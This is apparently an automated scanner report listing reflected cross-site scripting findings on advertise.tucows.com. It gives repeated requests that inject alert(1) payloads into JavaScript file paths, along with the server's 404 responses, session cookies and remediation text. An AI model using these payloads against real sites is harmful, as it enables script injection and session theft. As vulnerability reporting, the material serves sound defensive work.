<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22f00"-alert(1)-"b89799debf7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js/aalib.js22f00"-alert(1)-"b89799debf7 HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:52 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32624
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dffd4"-alert(1)-"6bee40325ed was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includesdffd4"-alert(1)-"6bee40325ed/js/ajaxlib.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:19 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 31802
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 78547"-alert(1)-"ce4057ee76f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js78547"-alert(1)-"ce4057ee76f/ajaxlib.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:24 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 46a92"-alert(1)-"496766b8176 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js/ajaxlib.js46a92"-alert(1)-"496766b8176 HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:38 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 31809
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4586a"-alert(1)-"2bd19196b6c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes4586a"-alert(1)-"2bd19196b6c/js/show_layer.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:19 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32419
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ac19"-alert(1)-"1250877226f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js5ac19"-alert(1)-"1250877226f/show_layer.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:24 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32513
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 835b0"-alert(1)-"17c882840e0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js/show_layer.js835b0"-alert(1)-"17c882840e0 HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:38 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 31974
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 624a4"-alert(1)-"3358fadd2b6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes624a4"-alert(1)-"3358fadd2b6/js/signupin.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:21 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b36c3"-alert(1)-"b205bb5d532 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/jsb36c3"-alert(1)-"b205bb5d532/signupin.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:27 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32525
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28622"-alert(1)-"2ff515b5d95 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js/signupin.js28622"-alert(1)-"2ff515b5d95 HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:48 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32701
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 42de8"-alert(1)-"7d8ee46561 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes42de8"-alert(1)-"7d8ee46561/js/x_core.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:19 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32536
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
